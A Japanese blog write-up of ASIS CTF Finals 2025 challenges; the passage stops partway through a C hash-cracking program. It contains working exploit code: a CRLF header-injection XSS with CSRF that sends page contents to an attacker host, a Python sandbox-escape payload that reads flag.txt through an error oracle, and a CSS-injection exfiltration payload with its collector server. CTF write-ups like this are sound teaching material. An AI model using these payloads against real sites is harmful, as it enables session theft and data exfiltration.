st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏 Please feel free to ask questions in English if that's more comfortable for you👍

ASIS CTF Finals 2025 writeup

12/27 - 12/28という日程で開催された。BunkyoWesternsで参加して4位。Miscの謎アーカイブファイル問に唸りつつも、Webは面白かった。これが2025年最後のCTFとなるはずだったのだけれども、hxp 39C3 CTFにも急遽出ることになりCTF納めパート2が始まった。

[Web] Gemviewerも、nobodyでも読める/書き込める場所に対するPath TraversalからいかにRCEに持ち込むかがわからず解けなかった。GunicornやらFlaskやら関連しているコードを漁ったり、[ls]traceで参照されているファイルを列挙したり、procfsを眺めたりといろいろ試したのだけれども、ダメだった。そこそこのチームが解いていたのでこれは悔しい。復習をしたいが、Discord等に情報がなく解法がまだわかっていない。気になる。


[Web 110] Bookmarks (40 solves)

I'm creating a bookmark site for my friends, do you like it? Feel free to test it out!

(問題サーバのURL)

添付ファイル: Bookmarks_30f215c6ec3b29787d766435350a7c86cb3f0e5c.txz

とりあえずアプリを触ってみる。適当なユーザ名とパスワードで登録し、ログインする。本のリストが表示されているけれども、なかなか尖ったチョイスだ。

次のようなファイルが与えられている。XSS問っぽい。

$ tree .
.
├── docker-compose.yaml
├── src-bot
│   ├── Dockerfile
│   ├── bot.py
│   └── requirements.txt
└── src-web
    ├── Dockerfile
    ├── app.py
    ├── requirements.txt
    ├── static
    │   └── style.css
    └── templates
        ├── base.html
        ├── dashboard.html
        ├── index.html
        ├── login.html
        ├── register.html
        └── report.html

4 directories, 14 files

botの挙動から確認していく。bot.py の主要な処理は次の通り。ユーザが報告したURLにアクセスしてから、フラグをユーザ名とするユーザで登録・ログインするらしい。報告できるURLに制限はない。

どんなユーザ名が使われたか特定したいけれども、そのログインが我々の報告したURLへのアクセスより後というのがつらい。Service Workerなりなんなりで、それより後のアクセスでもページの内容を読み取る方法を考える必要がありそうだ。

FLAG = os.getenv("FLAG", "ctf{REDACTED}")
BOT_VISIT = os.getenv('WEB_ORIGIN', 'http://web')


def visit_web(url):
    with sync_playwright() as p:
        browser = p.chromium.launch(headless=True)
        context = browser.new_context()
        page = context.new_page()

        try:
            # Visit your URL first, to avoid any attack
            print(f"[BOT] Visiting {url}")
            sys.stdout.flush()
            page.goto(url)
            time.sleep(5)

            # Register and log as admin
            print("[BOT] Login & registering")
            sys.stdout.flush()
            page.goto(BOT_VISIT + '/register')
            page.fill("input[name='username']", FLAG)
            page.fill("input[name='password']", "password")
            page.click("input[type='submit']")
            time.sleep(1)
            page.goto(BOT_VISIT + '/login')
            page.fill("input[name='username']", FLAG)
            page.fill("input[name='password']", "password")
            page.click("input[type='submit']")
            time.sleep(1)

            # Do some admin stuff
            print("[BOT] Admin stuff")
            sys.stdout.flush()
            time.sleep(5)
        except Exception as e:
            print(f"[BOT] Failed to visit {url}: {e}")
            sys.stdout.flush()
        print("[BOT] Finished")
        sys.stdout.flush()
        context.close()
        browser.close()

いずれにしても、Webサーバ側でXSSなりなんなりの脆弱性がないと厳しい。Claude CodeにWebサーバのコードを読ませつつ、自分でも読んでいく。まず気になったのはこれ。CSPが全ページに適用されており、しかもそれがめちゃくちゃ厳しい。このままではWebサーバのオリジンでJSの実行ができない。

@app.after_request
def add_csp_header(response):
    response.headers['Content-Security-Policy'] = "default-src 'none'; style-src 'self';"
    return response

しばらく待つと、ユーザがログイン後にアクセスできる /dashboard に次のような処理があるとClaude Codeが指摘してくれた。レスポンスに X-User-(ユーザ名): (連番のユーザID) というヘッダが返されるけれども、ここでヘッダインジェクションができるのだという。

    response = make_response(rendered)
    response.headers['X-User-' + username] = user_id

CRLFを仕込むこともできるとまで言うけれども、本当だろうか。hoge: 123\r\nfuga: piyopiyo\r\na というユーザ名で登録し、/dashboard にアクセスしてみる。次のようなヘッダが返ってきた。マジだ!!!!

X-User-hoge: 123
fuga: piyo
a: 6

CSPヘッダはインジェクションできる箇所よりも後ろで送出されている。CRLFを2回挿入すれば、CSPはレスポンスボディ部分にまで押し込んでしまって無効化することができるだろう。これは、hoge\r\n\r\n<script>alert(123)</script> というようなユーザ名でログインすれば、XSSに持ち込めることを意味する。botにどうやってそんなユーザ名でログインさせるかという問題があるけれども、これは(CSRF対策が一切なされていないので)CSRFでなんとかなる。

では、どうやってそのXSSの後にログインするユーザのユーザ名を盗み出すか。ひとつ思いついたのは、2つ以上ウィンドウを開いておくという技だ。いずれかがbotの操作によるログインに使われてしまったあとでも、もう一方は我々の制御下にある状態となる。そして、botによるログインが終わった後に、我々の制御下にあるウィンドウに /dashboard を開かせ、その内容を読み取れば、フラグを手に入れることができるはずだ。これだ。

ということで、exploitを書いていく。この exp.html はbotに報告するページだ。

<script>
(async () => {
    const wait = t => new Promise(r => setTimeout(r, t))
    let w = window.open('/form.php?register');
    await wait(1000);
    w.location = '/form.php?login';
    await wait(1000);
    w.location = '/form.php?go';
})();
</script>

次の form.php は、先程の exp.html から開かれる。CSRFでいい感じにbotにXSSを踏ませるものだ。XSSで何をするかというと、botによるログインが済んだ(であろう)6秒後に /dashboard を開き、そこに含まれるフラグを外部に送信する。

<form method="POST" id="form">
    <textarea name="username" id="username"></textarea>
    <input name="password" id="password">
</form>
<script>
const remote = true;
const payload = `
(async () => {
    const wait = t => new Promise(r => setTimeout(r, t));
    await wait(6000);
    const w = window.open('/dashboard');
    await wait(500);
    (new Image).src = '//(省略)/log.php?' + w.document.body.innerHTML.match(/Welcome, .+/g)[0];
})();
`;

const params = new URLSearchParams(location.search);

let target;
if (remote) {
    target = 'http://web';
} else {
    target = 'http://localhost:8000';
}

if (params.has('go')) {
    const a = document.createElement('a');
    a.href = target + '/dashboard';
    a.click();
} else {
    const form = document.getElementById('form');
    form.action = target + (params.has('register') ? '/register' : '/login');

    document.getElementById('username').value = `hoge\r\n\r\n<script>${payload}<\/script>`;
    document.getElementById('password').value = 'nekonekoneko';

    form.submit();
}
</script>

これでフラグが得られた。

ASIS{CSP_1s_n0t_4_sh13ld}

[Web 138] Sanchess (30 solves)

Guide Rick through the shadows to discover Morty, armed only with peculiar tools.

(問題サーバのURL)

The flag is placed in flag.txt.

ソースコードは与えられていないブラックボックスのWeb問だ。問題サーバにアクセスすると、次のような画面が表示される。チェスを遊べるらしい。

動きの指定には Conditional なるものがある。

先程のようなパラメータで Run simulation を押すと、/simulate に対して次のようなJSONがPOSTされた。

{
  "rick": {
    "row": 0,
    "col": 5
  },
  "morty": {
    "row": 7,
    "col": 1
  },
  "moves": [
    {
      "type": "conditional",
      "condition": {
        "type": "distance",
        "op": ">",
        "value": 5
      },
      "then": "up",
      "else": "up"
    }
  ]
}

op というパラメータが非常に怪しい。適当に hoge を指定するとエラーが返ってきたが、++(7*7)+ といったものを指定した場合にはエラーは発生しない。なんらかのコードインジェクションが発生しているように見える。

Server: Werkzeug/3.1.4 Python/3.12.12 というヘッダから、Pythonで書かれていることが推測できる。+chr('a')+ は通るけれども +len(open('flag.txt'))+ は通らない等、なんだか不思議な挙動を見せる。Pythonでのコードインジェクションではあるのだろうけれども、スコープがいじられているか、コードが実行されるより前にフィルターがあるかだろうか。

色々試して、後者のフィルターによるものだろうと結論付けた。+len('hoge')+ は通るが +len('read')+, +len('open')+, +len('import')+ が通らないというのはおかしい。そういうわけで、このフィルターをバイパスしつつフラグを読み取るexploitを書く。エラーが起こるか起こらないかをオラクルに、1ビットずつ抜き出している。

import httpx

i = 0
flag = ''
while True:
    c = 0
    for j in range(7):
        op = f"""-(
        [ord([x for x in [].__class__.__mro__[1].__subclasses__() if x.__name__ == 'catch_warnings'][0].__init__.__globals__['__builtins__']['o'+'pen']('f'+'lag.txt').__getattribute__('rea'+'d')()[{i}])&({1<<j})][0]and('hoge')
        )+"""

        r = httpx.post('http://(省略)/simulate', json={"rick":{"row":1,"col":4},"morty":{"row":1,"col":3},"moves":[{"type":"conditional","condition":{"type":"distance","op":op,"value":5},"then":"up","else":"up"},{"type":"simple","direction":"up"}]})
        if 'Invalid Request' in r.text:
            c |= 1 << j
    flag += chr(c)
    i += 1
    print(flag)

実行するとフラグが得られた。

ASIS{2D_cH3s5_!$_@_j0k3_70_r1ck}

人力で解き終わった後に、SatokiさんとsugiさんがAIで解いたというメッセージを投げていた。危ない。なんでチーム内でAIと競争しているのか。

[Web 285] One shoot game! (10 solves)

Can you one shoot me?

(問題サーバのURL)

添付ファイル: One_Shoot_Game_0a310eef6747cb181223c8a1bad98141144583f4.txz

とりあえずアプリを触ってみる。適当なユーザとパスワードでログインすると、メモアプリが表示された。

メモが表示されているページのHTMLはこんな感じ。ユーザ入力をちゃんとDOMPurifyに通していて堅牢に見えるけれども、<meta http-equiv="refresh" content="0;URL=//example.com"> を投げると発火してしまうことがわかる。ダメじゃん。DOMPurify.sanitize('...',{ RETURN_DOM: true, ALLOWED_TAGS: ['class', 'style'] }).innerHTML であればまだ大丈夫なのだけれども、何を思ったか ownerDocument.documentElement を付け足してしまったことでダメになっている。

ただ、default-src 'self'; script-src 'self' 'nonce-(ランダムなhex文字列)'; style-src 'self' 'nonce-(ランダムなhex文字列)'; img-src *; font-src 'self'; connect-src 'self'; というCSPが適用されており、nonceもちゃんとアクセスのたびにランダムなものが生成されるので、簡単にはXSSに持ち込めそうにない。

もう一点、user-theme-styles というIDを持つ要素のテキストが localStorage に保存されているけれども、その後の処理を見るとわかるように、これはCSSとして解釈され、ページにスタイルが適用される。localStorage に保存されていることから察することができるけれども、トップページにも適用される。CSSインジェクション的な攻撃ができそう。

...
<div class="card">
    <div class="flex-between">
        <div>
            <h2 id="document-heading">nekochan</h2>
            <div class="document-meta">
                <p>Created: 2025-12-31 09:08:28.951735 | Modified: 2025-12-31 09:08:28.951737</p>
            </div>
        </div>
        <div class="flex-actions">
            <a href="/workspace/home" class="btn">Back to Workspace</a>
        </div>
    </div>

    <div class="document-body" id="document-body">
        <!-- hidden tag -->
        <p id="document-body-hidden">nekochan</p>
    </div>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.1.0/purify.min.js" nonce="315616f19bfb4c97ba9ec57daf91c9da"></script>
</div>

        <!-- Page-specific scripts -->
        
<script src="/static/js/options.js"></script>
<script nonce="315616f19bfb4c97ba9ec57daf91c9da">
    if (options.user_styling) {

        const theme = document.createElement('style');
        const hidden = document.getElementById('document-body-hidden');

        const body = document.getElementById('document-body');
        // disable tag id
        body.innerHTML = DOMPurify.sanitize(body.textContent,{ RETURN_DOM: true, ALLOWED_TAGS: ['class', 'style'] }).ownerDocument.documentElement.innerHTML;

        theme.textContent = document.getElementById('user-theme-styles').textContent;
        theme.nonce = '315616f19bfb4c97ba9ec57daf91c9da';
        document.head.appendChild(theme);
        localStorage.setItem('user_theme', theme.textContent);
    }
</script>

        <script nonce="315616f19bfb4c97ba9ec57daf91c9da">
            const theme = document.createElement('style');
            theme.textContent = localStorage.getItem('user_theme') || "";
            theme.nonce = '315616f19bfb4c97ba9ec57daf91c9da';
            document.head.appendChild(theme);
        </script>
...

bot の処理を見る。適当なユーザで登録・ログインしてから、フラグをその内容とするメモを作成している。それから、我々の通報したURLにアクセスする。なるほど、メモのIDを奪い取るなり、内容を直接読み取るなりして、フラグの書かれたメモの内容を得るのがゴールらしい。

なお、通報されたURLが ^http://note:5000/workspace/display/[0-9a-f]{25}$ という正規表現にマッチするかがこれより前に確認されており、つまりはこの問題サーバ上で作成されたメモ以外にアクセスさせることはできない。もっとも、直接メモ以外にアクセスさせることはできないというだけで、先程言及したように、meta 要素を使えばメモ経由で好きなページに飛ばせるのだけれども。

            const page = await context.newPage();

            // create account
            const username = randomString(32);
            const email = randomEmail();
            const password = randomString(32);

            await page.goto(`${CONFIG.APPURL}/identity/signup`);
            await page.fill('input[name="username"]', username);
            await page.fill('input[name="email"]', email);
            await page.fill('input[name="password"]', password);
            await page.fill('input[name="confirm_password"]', password);
            await page.click('button[type="submit"]');
            await sleep(2000);

            // login
            await page.goto(`${CONFIG.APPURL}/identity/signin`);
            await page.fill('input[name="username"]', username);
            await page.fill('input[name="password"]', password);
            await page.click('button[type="submit"]');
            await sleep(2000);

            // create note
            await page.goto(`${CONFIG.APPURL}/workspace/compose`);
            await page.fill('input[name="title"]', 'flag');
            await page.fill('textarea[name="content"]', CONFIG.APPFLAG);
            await page.click('button[type="submit"]');
            await sleep(2000);

            // print current url
            console.log(await page.url());

            // visit urlToVisit
            await page.goto(urlToVisit);
            await sleep(5*1000);

            console.log("browser close...");

/workspace/home にアクセスすると、これまで作成したメモの一覧が表示される。このページでも、localStorage に保存されているCSSが適用される。ペイロードを localStorage に保存させ、それからこのメモ一覧にリダイレクトさせてフラグの書かれたメモのURLを抜き出させる、ということをbotにさせられると嬉しい。

しかしながら、CSPの制限から @import で外部のCSSを読み込ませることはできない。先程のbotの処理からわかるように、報告のたびにフラグの書かれたメモのIDは変わるから、何度も報告してちょっとずつIDを抜き出していくということもできない。つまり、一度の報告で(one-shotに)リークを完遂しなければならない。どうしようかなあ。

メモのIDの3-gramを抜き出して、すべてのリークが終わったら元の文字列をそこから復元してしまえばよいのではないか、抜き出すのは25桁のhexなのだから一瞬で終わるのではないかと考える。ということで、Claudeにペイロードを書かせる。普通にやると40万文字を超えてしまい、POST時に400が返ってきてしまうので、文字数が減るよう自分の手でちょっと調整している。

import itertools

def generate_oneshot_payload(attacker_url):
    alphabet = "0123456789abcdef"
    parent = ".document-actions"
    rules = []
    
    # 1. 各文字の組み合わせ(変数)を定義
    # 接頭辞 (Prefix): 16通り
    for c in alphabet:
        rules.append(f'{parent} a[href^="/workspace/display/{c}"]{{--pre:url({attacker_url}/?pre={c});}}')
    
    # 接尾辞 (Suffix): 16通り
    for c in alphabet:
        rules.append(f'{parent} form[action$="{c}"]{{--post:url({attacker_url}/?post={c});}}')
    
    # バイグラム (Bi-gram/2文字ペア): 256通り
    # これにより25文字のIDに含まれる約24個の断片を特定する
    bg_vars = []
    for pair in itertools.product(alphabet, repeat=3):
        val = "".join(pair)
        var_name = f"--bg-{val}"
        bg_vars.append(var_name)
        #rules.append(f'{parent} a[href*="{val}"]{{{var_name}:url({attacker_url}/?{val});}}')
        rules.append(f'a[href*="{val}"]{{{var_name}:url({attacker_url}/?{val});}}')

    # 2. トリガー(一斉送信)の設定
    # 全ての変数をカンマ区切りでbackground-imageに詰め込む
    # ヒットした変数のみがURLとして解決され、攻撃者サーバーへリクエストが飛ぶ
    all_vars = ["var(--pre, none)", "var(--post, none)"] + [f"var({v}, none)" for v in bg_vars]
    
    # Chrome等のChromium系であれば -webkit-cross-fade を使うとより高速で確実 [1], [3]
    # ここでは汎用的な複数背景指定を使用
    trigger_rule = f"""
{parent} a, {parent} form {{
    display: block !important;
    background-image: {', '.join(all_vars)};
}}"""
    rules.append(trigger_rule)

    return "".join(rules)

attacker_server = "//(省略)"
payload = generate_oneshot_payload(attacker_server)

print(f"/* Total Rules: {len(payload)} */")
print(payload[:500] + "\n...")
with open('payload.txt', 'w') as f:
    f.write(f'<div id="user-theme-styles">{payload}</div><meta http-equiv=refresh content="1;URL=/workspace/home">')

サーバ側のコードはこんな感じ。こちらももちろんClaudeにそのほとんどを書かせている。

import sys
from collections import defaultdict
from flask import Flask, request

def build_graph(grams):
    """n-gramから有向グラフを構築"""
    graph = defaultdict(list)
    in_degree = defaultdict(int)
    out_degree = defaultdict(int)
    all_nodes = set()
    
    if not grams:
        return graph, in_degree, out_degree, all_nodes, 0
    
    n = len(grams[0])
    
    for gram in grams:
        if len(gram) == n:
            # n-gram "abc" -> "ab" → "bc"
            u = gram[:-1]  # 最後の1文字を除く
            v = gram[1:]   # 最初の1文字を除く
            graph[u].append(v)
            out_degree[u] += 1
            in_degree[v] += 1
            all_nodes.add(u)
            all_nodes.add(v)
    
    return graph, in_degree, out_degree, all_nodes, n

def find_all_eulerian_paths(graph, start, end, total_edges, n):
    """
    すべてのオイラー路を列挙
    start: 開始ノード
    end: 終了ノード
    total_edges: 使用すべき総辺数
    n: n-gramのn
    """
    solutions = []
    max_solutions = 100  # 最大解数
    
    def backtrack(node, path_nodes, remaining_graph, edges_used):
        # 解数制限
        if len(solutions) >= max_solutions:
            return
        
        # 終了条件
        if edges_used == total_edges:
            if node == end:
                # パスをノードから文字列に変換
                # 3-gramの場合: 最初のノード(2文字) + 各ノードの最後の1文字
                result = path_nodes[0]
                for node_str in path_nodes[1:]:
                    result += node_str[-1]
                solutions.append(result)
            return
        
        if node not in remaining_graph or len(remaining_graph[node]) == 0:
            return
        
        # このノードから出る辺を試す
        neighbors = remaining_graph[node][:]
        for i, next_node in enumerate(neighbors):
            # この辺を使用
            new_graph = defaultdict(list)
            for k in remaining_graph:
                new_graph[k] = remaining_graph[k][:]
            
            new_graph[node].pop(i)
            
            backtrack(next_node, path_nodes + [next_node], new_graph, edges_used + 1)
    
    backtrack(start, [start], graph, 0)
    return solutions

def enumerate_strings(pre, post, vs):
    """
    pre: 開始文字列
    post: 終了文字列
    vs: 含むべき部分文字列のリスト
    """
    # 'ace'を除外
    vs_filtered = [v for v in vs if v != 'ace']
    
    print(f"開始: '{pre}'")
    print(f"終了: '{post}'")
    print(f"元の部分文字列数: {len(vs)}")
    print(f"除外後の部分文字列数: {len(vs_filtered)}")
    if len(vs) != len(vs_filtered):
        removed = set(vs) - set(vs_filtered)
        print(f"除外された: {removed}")
    print(f"部分文字列: {sorted(vs_filtered)}")
    print()
    
    # グラフを構築
    graph, in_deg, out_deg, all_nodes, n = build_graph(vs_filtered)
    
    print(f"n-gram: {n}")
    print(f"総ノード数: {len(all_nodes)}")
    print()
    
    # 次数情報を表示
    print("ノード次数分析:")
    print(f"{'ノード':<10} {'入次数':<8} {'出次数':<8} {'差分':<8}")
    print("-" * 40)
    
    for node in sorted(all_nodes):
        in_d = in_deg[node]
        out_d = out_deg[node]
        diff = out_d - in_d
        marker = ""
        if diff == 1:
            marker = " <- 開始候補"
        elif diff == -1:
            marker = " <- 終了候補"
        print(f"{node:<10} {in_d:<8} {out_d:<8} {diff:<8}{marker}")
    
    print()
    
    # 開始・終了ノードの候補
    if n == 2:
        start_node = pre
        end_node = post
    else:
        # n >= 3の場合、開始/終了ノードを探す
        # 開始: preで始まる(n-1)文字のノード
        # 終了: postで終わる(n-1)文字のノード
        possible_starts = [node for node in all_nodes if node[0] == pre]
        possible_ends = [node for node in all_nodes if node[-1] == post]
        
        print(f"可能な開始ノード ('{pre}'で始まる): {possible_starts}")
        print(f"可能な終了ノード ('{post}'で終わる): {possible_ends}")
        print()
    
    # 総辺数
    total_edges = sum(out_deg.values())
    print(f"総辺数: {total_edges}")
    print(f"期待される文字列長: {total_edges + n - 1}")
    print()
    
    # 解を探索
    print("解を探索中...")
    sys.stdout.flush()
    
    all_solutions = []
    
    if n == 2:
        solutions = find_all_eulerian_paths(graph, start_node, end_node, total_edges, n)
        all_solutions.extend(solutions)
    else:
        # n >= 3の場合、すべての開始/終了の組み合わせを試す
        for start in possible_starts:
            for end in possible_ends:
                print(f"  試行: {start} -> {end}", end="")
                sys.stdout.flush()
                sols = find_all_eulerian_paths(graph, start, end, total_edges, n)
                if sols:
                    print(f" -> {len(sols)}個の解")
                    all_solutions.extend(sols)
                else:
                    print(f" -> 解なし")
                sys.stdout.flush()
    
    print()
    print("=" * 60)
    print(f"見つかった解の総数: {len(all_solutions)}")
    print("=" * 60)
    print()
    
    if all_solutions:
        for i, sol in enumerate(all_solutions, 1):
            print(f"解 {i}: {sol}")
            print(f"  長さ: {len(sol)}")
            print(f"  開始: '{sol[0]}'")
            print(f"  終了: '{sol[-1]}'")
            
            # 検証
            found_grams = set()
            for j in range(len(sol) - n + 1):
                found_grams.add(sol[j:j+n])
            
            missing = set(vs_filtered) - found_grams
            extra = found_grams - set(vs_filtered)
            
            if not missing and not extra:
                print(f"  ✓ すべての部分文字列を正確に含む")
            else:
                if missing:
                    print(f"  ✗ 欠けている: {sorted(missing)}")
                if extra:
                    print(f"  ⚠ 余分: {sorted(extra)}")
            print()
    else:
        print("解が見つかりませんでした")
        print()
        print("デバッグ情報:")
        print("次数の不均衡なノードを確認してください。")
        print("オイラー路が存在するには:")
        print("  - 出次数 - 入次数 = 1 のノードが1つ(開始)")
        print("  - 出次数 - 入次数 = -1 のノードが1つ(終了)")
        print("  - その他のノードは 出次数 = 入次数")
    
    return all_solutions

app = Flask(__name__)

pre = None
post = None
vs = []

@app.route('/')
def leak():
    global pre, post
    if 'pre' in request.args: pre = request.args['pre']
    elif 'post' in request.args: post = request.args['post']
    else: vs.append(list(request.args.keys())[0])
    print(f'{pre=}')
    print(f'{post=}')
    print(f'{vs=}')
    return 'ok'

@app.route('/debug')
def debug():
    print(f'{pre=}')
    print(f'{post=}')
    print(f'{vs=}')
    sols = enumerate_strings(pre, post, vs)
    return f'{pre=}<br>\n{post=}<br>\n{vs=}<br>\n{sols=}'

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=80)

ペイロードを含むメモを作成し、そのIDをbotに報告する。しばらく待ってからClaudeに作ってもらったサーバの /debug にアクセスすると、次のようにフラグの含まれるメモのIDが出力される。

pre='1'
post='2'
vs=['7d2', '3af', '915', '4c3', 'af2', 'f29', '97d', '778', 'c3a', '5fc', 'd25', 'fc8', '782', '54c', 'ace', 'c85', '857', '577', '291', '101', '019', '15f', '197', '254']
sols=['10197d254c3af2915fc857782']

そのメモにアクセスすると、フラグが得られた。

ASIS{on3_sh00t_on3_k1ll_44536dd9965eacd5}

[Misc 34] TeXyC (208 solves)

Analyze the weird TeXyC PDF file to uncover the secret message hidden within this challenge and capture the flag.

添付ファイル: TeXyC_fe0127730298ce71e2511e23d6e91d961c40daa1.txz

添付ファイルを展開すると texyc.pdf というPDFファイルが出てくる。4ページの白紙…かと思いきや、白字でなにか書かれている。全選択してコピペすると、次のような文字列が出てきた。TeXだあ。

Source Code of texyc.tex
\catcode‘@=11'
\pdfliteral{1 1 1 rg 1 1 1 RG}'
\headline={\pdfliteral{1 1 1 rg 1 1 1 RG}\hfil}'
\font\codefont=cmtt9'
\font\headerfont=cmbx12 at 14pt'
\parindent=0pt'
\headerfont Source Code of \jobname.tex \par'
\vskip 10pt'
\pdfliteral{1 1 1 rg 1 1 1 RG}'
\hrule'
\vskip 5pt'
\begingroup'
Ψ\codefont'
Ψ\newread\mysource'
Ψ\openin\mysource=\jobname.tex'
Ψ\def\printSourceLoop{'
ΨΨ\readline\mysource to \sourceline'
ΨΨ\unless\ifeof\mysource'
ΨΨΨ\hbox{\sourceline}\endgraf'
ΨΨΨ\expandafter\printSourceLoop'
ΨΨ\fi'
Ψ}'
Ψ\ifeof\mysource \else \printSourceLoop \closein\mysource \fi'
...

最後の方はこんな感じ。フラグをちょっとずつエンコードしていそうな雰囲気を感じる。

...
\def\printRow#1{'
Ψ\calculateHash{#1}'
Ψ\line{\tt \hbox to 40mm{****\hfil} \ENCODE\hfil}'
}'
\catcode‘@=12'
\newread\infile'
\openin\infile=flag.tex'
\ifeof\infile'
Ψ\message{Error: flag.tex not found!}'
\else'
Ψ\endlinechar=-1'
Ψ\readline\infile to \flagData'
Ψ\closein\infile'
\fi'
\expandafter\processStream\flagData\endStream'
\bye'
3
Output: **** and Encode!
**** C1D196B1
**** 9D074ADB
**** B544E197
**** 62A95FFA
**** 50BEDB0E
**** 7D4BC107
**** 1B4CD08A
**** AFD9830C

数文字ずつエンコードしているのだろう。自分で解析するのは面倒なので、Claudeに投げる。次のようなデコードのためのCのコードを書いてくれた。

#include <stdio.h>
#include <string.h>
#include <stdint.h>

#define POLY_H 60856
#define POLY_L 33568
#define HIGH_BIT 32768

// TeXのXOR演算
uint16_t calc_ctf(uint16_t a, uint16_t b) {
    uint16_t res = 0;
    uint16_t mul = 1;
    while (a != 0 || b != 0) {
        uint16_t bit = (a & 1) + (b & 1);
        a /= 2;
        b /= 2;
        if (bit & 1) {
            res += mul;
        }
        mul *= 2;
    }
    return res;
}

// 1ビットステップ
void asis_bitstep(uint16_t *asis_h, uint16_t *asis_l) {
    int do_poly = (*asis_l & 1);
    int carry_bit = (*asis_h & 1);
    
    *asis_h /= 2;
    *asis_l /= 2;
    
    if (carry_bit) {
        *asis_l += HIGH_BIT;
    }
    
    if (do_poly) {
        *asis_h = calc_ctf(*asis_h, POLY_H);
        *asis_l = calc_ctf(*asis_l, POLY_L);
    }
}

// 1バイト処理
void asis_process_byte(uint8_t byte_val, uint16_t *asis_h, uint16_t *asis_l) {
    *asis_l = calc_ctf(*asis_l, byte_val);
    
    for (int i = 0; i < 8; i++) {
        asis_bitstep(asis_h, asis_l);
    }
}

// ハッシュ計算
void calculate_hash(const char *text, int len, uint16_t *h, uint16_t *l) {
    *h = 65535;
    *l = 65535;
    
    for (int i = 0; i < len; i++) {
        asis_process_byte((uint8_t)text[i], h, l);
    }
    
    *h = calc_ctf(*h, 65535);
    *l = calc_ctf(*l, 65535);
}

// MOPマッピング
char mop(int n) {
    const char *mapping = "123456789ABCDEF0";
    return mapping[n];
}

// MEPマッピング
char mep(int n) {
    const char *mapping = "23456789ABCDEF01";
    return mapping[n];
}

// ハッシュ文字列生成
void compute_hash_string(uint16_t asis_h, uint16_t asis_l, char *output) {
    output[0] = mop(asis_h / 4096);
    output[1] = mep((asis_h / 256) % 16);
    output[2] = mop((asis_h / 16) % 16);
    output[3] = mep(asis_h % 16);
    output[4] = mop(asis_l / 4096);
    output[5] = mep((asis_l / 256) % 16);
    output[6] = mop((asis_l / 16) % 16);
    output[7] = mep(asis_l % 16);
    output[8] = '\0';
}

// 文字列からハッシュ取得
void get_hash(const char *text, int len, char *hash_str) {
    uint16_t h, l;
    calculate_hash(text, len, &h, &l);
    compute_hash_string(h, l, hash_str);
}

// ターゲットハッシュ
const char *targets[] = {
    "C1D196B1",
    "9D074ADB",
    "B544E197",
    "62A95FFA",
    "50BEDB0E",
    "7D4BC107",
    "1B4CD08A",
    "AFD9830C"
};

// 文字セット
const char charset[] = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-.!?|{}";
const int charset_len = sizeof(charset) - 1;

// ブルートフォース(4文字)
int brute_force_4(const char *target, char *result) {
    char candidate[5];
    char hash[9];
    
    for (int i = 0; i < charset_len; i++) {
        candidate[0] = charset[i];
        for (int j = 0; j < charset_len; j++) {
            candidate[1] = charset[j];
            for (int k = 0; k < charset_len; k++) {
                candidate[2] = charset[k];
                for (int l = 0; l < charset_len; l++) {
                    candidate[3] = charset[l];
                    candidate[4] = '\0';
                    
                    get_hash(candidate, 4, hash);
                    
                    if (strcmp(hash, target) == 0) {
                        strcpy(result, candidate);
                        return 1;
                    }
                }
            }
        }
    }
    return 0;
}

// プレフィックス付きブルートフォース
int brute_force_with_prefix(const char *target, const char *prefix, int total_len, char *result) {
    int prefix_len = strlen(prefix);
    int remaining = total_len - prefix_len;
    
    if (remaining <= 0) {
        char hash[9];
        get_hash(prefix, prefix_len, hash);
        if (strcmp(hash, target) == 0) {
            strcpy(result, prefix);
            return 1;
        }
        return 0;
    }
    
    char candidate[5];
    char hash[9];
    strcpy(candidate, prefix);
    
    if (remaining == 1) {
        for (int i = 0; i < charset_len; i++) {
            candidate[prefix_len] = charset[i];
            candidate[prefix_len + 1] = '\0';
            get_hash(candidate, total_len, hash);
            if (strcmp(hash, target) == 0) {
                strcpy(result, candidate);
                return 1;
            }
        }
    } else if (remaining == 2) {
        for (int i = 0; i < charset_len; i++) {
            candidate[prefix_len] = charset[i];
            for (int j = 0; j < charset_len; j++) {
                candidate[prefix_len + 1] = charset[j];
                candidate[prefix_len + 2] = '\0';
                get_hash(candidate, total_len, hash);
                if (strcmp(hash, target) == 0) {
                    strcpy(result, candidate);
                    return 1;
                }
            }
        }
    } else if (remaining == 3) {
        for (int i = 0; i < charset_len; i++) {
            candidate[prefix_len] = charset[i];
            for (int j = 0; j < charset_len; j++) {
                candidate[prefix_len + 1] = charset[j];
                for (int k = 0; k < charset_len; k++) {
                    candidate[prefix_len + 2] = charset[k];
                    candidate[prefix_len + 3] = '\0';
                    get_hash(candidate, total_len, hash);
                    if (strcmp(hash, target) == 0) {
                        strcpy(result, candidate);
                        return 1;
                    }
                }
            }
        }
    }
    
    return 0;
}

int main() {
    char result[5];
    char flag[64] = "";
    
    printf("=== TeXハッシュクラッカー ===\n\n");
    
    // チャンク1: "ASIS"を検証
    printf("チャンク 1を検証中...\n");
    char hash[9];
    get_hash("ASIS", 4, hash);
    printf("  'ASIS' のハッシュ: %s\n", hash);
    printf("  ターゲット: %s\n", targets[0]);
    
    if (strcmp(hash, targets[0]) == 0) {
        printf("  ✓ 一致しました!\n");
        strcat(flag, "ASIS");
    } else {
        printf("  ✗ 一致しません。ブルートフォースします...\n");
        if (brute_force_4(targets[0], result)) {
            printf("  見つかりました: %s\n", result);
            strcat(flag, result);
        }
    }
    
    // チャンク2: "{"で始まる
    printf("\nチャンク 2を探索中 ('{' で始まると仮定)...\n");
    if (brute_force_with_prefix(targets[1], "{", 4, result)) {
        printf("  見つかりました: %s\n", result);
        strcat(flag, result);
    } else {
        printf("  見つかりませんでした。完全探索します...\n");
        if (brute_force_4(targets[1], result)) {
            printf("  見つかりました: %s\n", result);
            strcat(flag, result);
        }
    }
    
    // チャンク3-7
    for (int i = 2; i < 7; i++) {
        printf("\nチャンク %d を探索中...\n", i + 1);
        if (brute_force_4(targets[i], result)) {
            printf("  見つかりました: %s\n", result);
            strcat(flag, result);
        } else {
            printf("  見つかりませんでした\n");
            strcat(flag, "????");
        }
    }
    
    // チャンク8: "}"を含む可能性
    printf("\nチャンク 8 を探索中...\n");
    if (brute_force_4(targets[7], result)) {
        printf("  見つかりました: %s\n", result);
        strcat(flag, result);
    } else {
        printf("  見つかりませんでした\n");
        strcat(flag, "????");
    }
